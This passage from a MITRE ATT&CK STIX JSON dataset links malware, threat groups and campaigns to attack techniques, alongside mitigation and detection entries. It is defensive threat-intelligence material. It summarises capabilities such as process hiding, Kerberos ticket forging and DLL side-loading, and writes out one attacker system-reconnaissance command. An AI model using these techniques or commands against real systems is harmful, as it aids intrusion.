2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-20T15:42:34.407Z","description":"[Socksbot](https://attack.mitre.org/software/S0273) can list all running processes.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e494ad79-37ee-4cd0-866b-299c521d8b94","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb6f9345-0600-4afb-99db-cdfbc0d6bc18","created":"2022-12-09T20:34:26.797Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T16:48:53.840Z","description":"For [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb6ffb36-38cf-44d9-aaba-7c551b099d65","type":"relationship","created":"2021-06-29T14:52:07.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T14:52:07.933Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use side-loading to run malicious executables.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb74fa31-121d-4e43-9794-048a901f509a","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"},{"source_name":"Kaspersky Turla","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","url":"https://securelist.com/the-epic-turla-operation/65545/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-14T21:00:48.616Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use its kernel module to prevent its host components from being listed by the targeted system's OS and to mediate requests between user mode and concealed components.(Citation: Kaspersky Turla)(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb76155e-39de-4952-857b-bf53a1586810","created":"2022-10-14T18:25:44.072Z","revoked":false,"external_references":[{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:25:44.072Z","description":"[Milan](https://attack.mitre.org/software/S1015) has used an executable named `companycatalog.exe.config` to appear benign.(Citation: ClearSky Siamesekitten August 2021)","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb77b635-6f00-4975-b36e-63c7a5c48e3c","type":"relationship","created":"2022-02-21T15:11:39.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"modified":"2022-02-21T15:11:39.231Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has incorporated dynamic DNS domains in its infrastructure.(Citation: Unit 42 Gamaredon February 2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-28T00:31:56.732Z","description":"The \"ZR\" variant of [BACKSPACE](https://attack.mitre.org/software/S0031) will check to see if known host-based firewalls are installed on the infected systems. [BACKSPACE](https://attack.mitre.org/software/S0031) will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb7db180-08e0-4240-a1d4-b520fbe4dc8c","type":"relationship","created":"2022-01-07T15:02:59.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-07T15:02:59.151Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can leverage native API including RegisterServiceCtrlHandler to register a service.RegisterServiceCtrlHandler ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb808671-1f29-4e76-9433-b50176abf60a","type":"relationship","created":"2019-04-24T20:48:39.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.539Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can list network connections.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb812961-ecb7-4361-82c4-fb52fa93c80b","type":"relationship","created":"2019-06-24T13:50:29.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"}],"modified":"2020-03-29T20:00:47.008Z","description":"Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb8508e4-6ebe-44bc-af58-b7b626bddeb8","created":"2022-09-26T15:16:03.875Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T15:16:03.875Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can identify the processes for Bkav antivirus.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb85fa2e-3c50-4130-9717-8688237fecbc","type":"relationship","created":"2017-05-31T21:33:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.579Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about the OS: ver >> %temp%\\download systeminfo >> %temp%\\download(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb8bc00c-91f6-434e-bfdb-ecb72c5e4391","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011)","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Issues with BITS July 2011","description":"Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.","url":"https://technet.microsoft.com/library/dd939934.aspx"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb91c7d8-2cfb-4d8b-905a-d146bc8178e2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.373Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb956f4e-0fa5-4b2e-822a-5e313226edb5","created":"2022-08-18T15:42:36.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T16:16:41.757Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) can collect data from an infected local host.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--eb985609-6a5f-4e44-9bae-bfbc1e93d978","created":"2022-05-31T19:35:22.519Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Ensure that MFA and MFA policies and requirements are properly implemented for existing and deactivated or dormant accounts and devices. If possible, consider configuring MFA solutions to \"fail closed\" rather than grant access in case of serious errors.","modified":"2022-08-31T13:43:27.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb9993e7-25aa-42a7-9324-04ec08bb4372","created":"2023-09-26T20:45:48.625Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T20:45:48.625Z","description":"(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb9a97fd-b87d-42d1-b1ee-3a6a17447d56","created":"2024-03-11T17:53:40.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T17:58:46.343Z","description":"[FRAMESTING](https://attack.mitre.org/software/S1120) can embed itself in the CAV Python package of an Ivanti Connect Secure VPN located in `/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py.`(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--bcaae558-9697-47a2-9ec7-c75000ddf58c","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb9d818f-cf34-4d58-9326-3391adbbb656","created":"2024-02-07T18:58:22.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-07T20:49:42.400Z","description":"[SLOWPULSE](https://attack.mitre.org/software/S1104) is applied in compromised environments through modifications to legitimate Pulse Secure files.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb9fb4e7-1b43-41ee-88e1-a3f93a278082","type":"relationship","created":"2021-03-24T20:25:01.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.351Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can use netstat to enumerate network connections.(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eba0a033-02a9-45e8-a1a1-27df73d6442b","created":"2019-03-26T17:48:52.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"Secureworks Emotet Nov 2018","description":"Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.","url":"https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader"},{"source_name":"US-CERT Emotet Jul 2018","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:06:14.712Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed creating new services to maintain persistence.(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Binary Defense Emotes Wi-Fi Spreader) ","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eba54c2a-854f-4349-9248-314519ed9c43","type":"relationship","created":"2019-05-02T00:08:18.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"}],"modified":"2020-03-17T15:02:14.635Z","description":"[The White Company](https://attack.mitre.org/groups/G0089) has used phishing lure documents that trick users into opening them and infecting their computers.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eba5e32f-2817-4833-8d65-3ccb2d9d367c","created":"2023-09-28T13:28:01.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:34:59.309Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can create snapshots of EBS volumes and RDS instances.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eba8bfe5-1005-4e0e-91d3-f116c6d2380a","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for newly constructed files and/or all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebab1ba1-e02b-41ab-8682-5a44d68fb155","type":"relationship","created":"2020-06-10T20:30:38.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.432Z","description":"(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebae4e41-0925-46af-b7bf-aba3ea0c25ec","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for changes made to files that may abuse Microsoft Office templates to obtain persistence on a compromised system. Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ebb04a61-225d-4cd3-b589-b3001069566e","created":"2024-09-17T18:34:23.187Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T18:34:23.187Z","description":"\n[Latrodectus](https://attack.mitre.org/software/S1160) has the ability to check for the presence of debuggers.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebb9afc6-dbe3-4049-8f33-a782f15eca79","type":"relationship","created":"2020-01-17T16:49:36.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-09T13:46:29.888Z","description":"Restrict software installation to trusted repositories only and be cautious of orphaned 